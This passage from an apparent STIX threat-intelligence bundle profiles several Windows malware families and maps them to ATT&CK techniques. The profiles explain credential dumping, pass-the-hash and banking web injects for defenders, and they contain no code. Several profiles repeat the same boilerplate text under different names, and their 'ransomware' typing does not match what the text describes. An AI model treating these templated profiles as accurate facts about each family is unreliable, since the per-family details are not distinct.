      "source_ref": "malware--e12f7f9d-1b2e-5c48-8d45-9e05cd9f1d62",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pushel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa64f67f-6933-5891-9f9c-f4cac872eee0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12f7f9d-1b2e-5c48-8d45-9e05cd9f1d62",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pushel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2364c8cf-2ae3-503f-a85d-073ba0236fea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12f7f9d-1b2e-5c48-8d45-9e05cd9f1d62",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pushel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c1665299-b4d8-5925-a077-fd20151ad8af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Putabmow",
      "description": "Trojan:Win32/Putabmow is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Putabmow</b><br>To an end-user, a Putabmow infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Putabmow is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Putabmow is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Putabmow frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Putabmow reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Putabmow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/putabmow"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5063dfe8-6d40-515d-beec-78ad1251f514",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1665299-b4d8-5925-a077-fd20151ad8af",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Putabmow exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46713d8f-4191-59c9-8b58-4ca8e4e2fd68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1665299-b4d8-5925-a077-fd20151ad8af",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Putabmow exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a652166-2cd9-5891-9038-d487a98844eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1665299-b4d8-5925-a077-fd20151ad8af",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Putabmow exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de79efe9-83b2-52df-ad5d-2b6e1bf833b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1665299-b4d8-5925-a077-fd20151ad8af",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Putabmow exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a818cbc0-504a-5139-abae-4e9ba94acd57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1665299-b4d8-5925-a077-fd20151ad8af",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Putabmow exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c6fb95e4-0870-5a74-a17b-882b0fa77844",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Puwaders",
      "description": "Trojan:Win32/Puwaders is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Puwaders</b><br>To an end-user, a Puwaders infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Puwaders is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Puwaders is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Puwaders frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Puwaders reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Puwaders",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/puwaders"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5f3d8aa-ccd4-59f5-b8d3-f6d5a9d7d765",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6fb95e4-0870-5a74-a17b-882b0fa77844",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puwaders exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35bdab47-ab56-5cba-af70-df0ca8b9beaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6fb95e4-0870-5a74-a17b-882b0fa77844",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puwaders exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--942c1390-920f-5a9e-82b6-549912ad32b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6fb95e4-0870-5a74-a17b-882b0fa77844",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puwaders exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffcfed99-ded8-5e15-9087-3f30cc802b79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6fb95e4-0870-5a74-a17b-882b0fa77844",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puwaders exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fc2b29d-aab0-5507-89b8-8d975017731d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6fb95e4-0870-5a74-a17b-882b0fa77844",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puwaders exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b7294c2-7869-5c79-bff5-5d2d88dfa45d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pwdump",
      "description": "<h3>Executive Summary</h3>\nPwdump is not a malware family itself, but rather a classification for a series of legitimate, highly potent penetration testing tools (HackTools) designed specifically to extract the Security Account Manager (SAM) database from Windows operating systems. When found on a corporate endpoint outside of authorized security testing, it is a critical indicator of post-compromise activity and impending credential theft.\n\n<h3>Technical Capabilities and Abuse</h3>\nPwdump (and its successors like fgdump) are command-line utilities. They are utilized by threat actors *after* they have already achieved local Administrator or SYSTEM privileges on a compromised machine.\n\nTheir primary function is the extraction of password hashes:\n<ul>\n<li><strong>SAM Database Extraction:</strong> The Windows SAM file stores user passwords in a hashed format (LM/NTLM). Normally, the OS locks this file, preventing standard copying. Pwdump utilizes DLL injection (often targeting the `lsass.exe` process) or specialized drivers to bypass this lock and dump the hashes directly from memory or the registry.</li>\n<li><strong>Offline Cracking:</strong> Once the attacker runs Pwdump, they output the results to a text file and exfiltrate it. They can then use offline cracking tools (like Hashcat or John the Ripper) to brute-force the plaintext passwords.</li>\n<li><strong>Pass-the-Hash (PtH):</strong> Even without cracking the plaintext password, an attacker can use the extracted NTLM hashes directly in a \"Pass-the-Hash\" attack to authenticate to other servers and pivot laterally across the Active Directory domain.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of Pwdump on a system is a critical security emergency. It unequivocally indicates that an attacker has achieved elevated privileges and is actively attempting to steal domain credentials to facilitate widespread lateral movement.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the compromised machine immediately to prevent the attacker from exfiltrating the dumped hashes or using them to pivot to the Domain Controller.</li>\n<li><strong>Enterprise-Wide Credential Reset:</strong> If Pwdump was executed successfully, incident responders must assume that all local accounts (and potentially cached domain accounts) on that machine are compromised. A mandatory password reset must be enforced.</li>\n<li><strong>Hunt for the Initial Access Vector:</strong> Pwdump is a post-exploitation tool. The investigation must focus on *how* the attacker gained the administrative privileges necessary to run it in the first place (e.g., exploiting a vulnerable service, phishing a privileged user, or lateral movement from another host).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Pwdump",
        "Riskware.Pwdump",
        "Win32/Pwdump"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pwdump",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pwdump"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e11042c-ec3c-5973-bc18-1cc54e139675",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7294c2-7869-5c79-bff5-5d2d88dfa45d",
      "target_ref": "attack-pattern--c3a4d6d4-acb6-500e-bd8f-3225d1decb74",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwdump exhibits technique T1003.002 (OS Credential Dumping: Security Account Manager (SAM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16940ce5-0ad4-5bb0-b501-a481c1f2f906",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7294c2-7869-5c79-bff5-5d2d88dfa45d",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwdump exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ad48022-7983-5f03-9226-eab4a0bdcbaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7294c2-7869-5c79-bff5-5d2d88dfa45d",
      "target_ref": "attack-pattern--9c23493e-0de7-59a2-8e1c-b8b175ca625b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwdump exhibits technique T1550.002 (Use Alternate Authentication Material: Pass the Hash)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab147931-9429-5652-bdbc-e57514faad6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pwkiller",
      "description": "HackTool:Win32/Pwkiller (Password Killer) is a specialized utility designed for Credential Access (`T1003`). Unlike general-purpose trojans, Pwkiller focuses exclusively on extracting stored passwords, hashes, and authentication tokens from the infected system. It is often deployed post-compromise by threat actors to facilitate lateral movement across the network.<br><br><b>Understanding Pwkiller</b><br>To an end-user, there is no visible impact. For a SOC analyst, the detection of a credential dumper is a critical incident indicating that the attacker has likely gained administrative privileges (required for deep credential extraction) and is actively attempting to escalate privileges or move laterally. Pwkiller tools can target the LSASS memory space, SAM database, or local browser password stores.<br><br><b>Execution and Extraction Mechanics</b><br>After gaining initial access and escalating privileges, the attacker drops Pwkiller onto the system. The tool may employ techniques like OS Credential Dumping (`T1003`) by reading the memory of the Local Security Authority Subsystem Service (LSASS.exe) to extract plaintext passwords or NT hashes. It may also target the Security Account Manager (SAM) registry hive (`T1003.002`) or extract saved passwords from web browsers (Chrome, Firefox) and email clients (`T1555.003`). The stolen credentials are then exfiltrated to the attacker's infrastructure.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the catastrophic loss of user credentials, enabling the attacker to impersonate legitimate users and bypass security controls. Host-based IoCs include EDR alerts for 'Suspicious Process Accessing LSASS', 'SAM Registry Key Export', or the presence of known credential dumping tools in temporary directories. Network IoCs might include anomalous internal network traffic as the attacker uses the stolen credentials to access other systems (Pass-the-Hash). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pwkiller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pwkiller"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f570e0b5-ec43-567c-a4e9-82b2395e1fa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab147931-9429-5652-bdbc-e57514faad6c",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwkiller exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Extracting hashes/passwords from memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8702c79-89f1-5725-9044-7f82f3e94928",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab147931-9429-5652-bdbc-e57514faad6c",
      "target_ref": "attack-pattern--c3a4d6d4-acb6-500e-bd8f-3225d1decb74",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwkiller exhibits technique T1003.002 (OS Credential Dumping: Security Account Manager (Dumping the SAM hive))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10d20f5b-b484-5316-8e8e-a0dfba2f4c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab147931-9429-5652-bdbc-e57514faad6c",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwkiller exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b3af6278-b63a-5f1b-b5f0-45e3a538524d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pwsime",
      "description": "PWS:Win32/Pwsime is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pwsime</b><br>To an end-user, a Pwsime infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pwsime is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pwsime is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pwsime frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pwsime reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pwsime",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pwsime"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ae1409f-8fc9-5e14-a530-65e568c53244",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3af6278-b63a-5f1b-b5f0-45e3a538524d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwsime exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2a513f3-afb8-5930-bd3a-6a2bb08f6567",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3af6278-b63a-5f1b-b5f0-45e3a538524d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwsime exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3369d61-c580-5ce4-a4d0-014e96a1dbd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3af6278-b63a-5f1b-b5f0-45e3a538524d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwsime exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae56e0f7-1cf4-5e0e-b121-90b52004764b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3af6278-b63a-5f1b-b5f0-45e3a538524d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwsime exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd2a8553-b7ae-5d20-9abc-45945b4adf8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3af6278-b63a-5f1b-b5f0-45e3a538524d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwsime exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4d055eb6-93b6-5ddd-afca-f93fc9c7ba5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pwszbot",
      "description": "Trojan:Win32/Pwszbot (a blend of Password Stealer and Zbot/Zeus functionalities) is a highly sophisticated, modular banking trojan and information stealer. It is designed to act as a persistent botnet agent, silently harvesting a massive variety of sensitive data, intercepting web sessions, and granting remote attackers persistent access to the compromised machine. It shares significant code similarities and operational tactics with the infamous Zeus banking trojan.<br><br><b>Understanding Pwszbot (Banking Trojans)</b><br>To an end-user, a Pwszbot infection is completely invisible; they can use their computer and browse the internet normally. For a financial institution, it represents a critical threat capable of defeating standard anti-fraud measures. Because it acts as a 'Man-in-the-Browser', it can alter what the user sees on their screen during a banking session, intercepting two-factor authentication codes and manipulating transactions in real-time.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Pwszbot is typically distributed via sophisticated spear-phishing campaigns (often using macros or exploit documents) (`T1566.001`). Upon execution, it drops a highly obfuscated payload into a random `AppData` subdirectory (`T1027`). It establishes persistence by modifying Registry Run keys or creating hidden scheduled tasks (`T1547.001`). The core functionality involves deep process injection (`T1055`), specifically targeting web browsers (`iexplore.exe`, `chrome.exe`, `firefox.exe`). Once injected, it performs 'Web Injects' (`T1185`): when the user visits a targeted banking URL (retrieved from a configuration file downloaded from the C2 server), the trojan dynamically modifies the HTML/JavaScript of the page, presenting fake login forms or transaction authorization prompts directly to the user.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic financial fraud and total credential compromise. Host-based IoCs include EDR alerts for 'Suspicious Process Hollowing' or 'API Hooking' targeting major web browsers. Network IoCs include encrypted beaconing traffic to known botnet C2 panels, and the downloading of encrypted configuration files (`.bin` or `.cfg` files containing the targeted bank URLs). (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pwszbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pwszbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0edc3d77-5e52-597a-bfb5-5e5aaf24af0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d055eb6-93b6-5ddd-afca-f93fc9c7ba5d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwszbot exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser / Web Injects))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f71443e8-5248-5bdf-b89d-7531677db6ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d055eb6-93b6-5ddd-afca-f93fc9c7ba5d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwszbot exhibits technique T1055 (Process Injection (Injecting into browser processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5fd580a-2bb4-5cee-b3c0-c27a8cc71524",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d055eb6-93b6-5ddd-afca-f93fc9c7ba5d",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwszbot exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1aff25ed-69fc-5adb-b30a-bcf98e629696",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d055eb6-93b6-5ddd-afca-f93fc9c7ba5d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pwszbot exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--170a1947-3abb-5574-989f-9b28646ec9d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
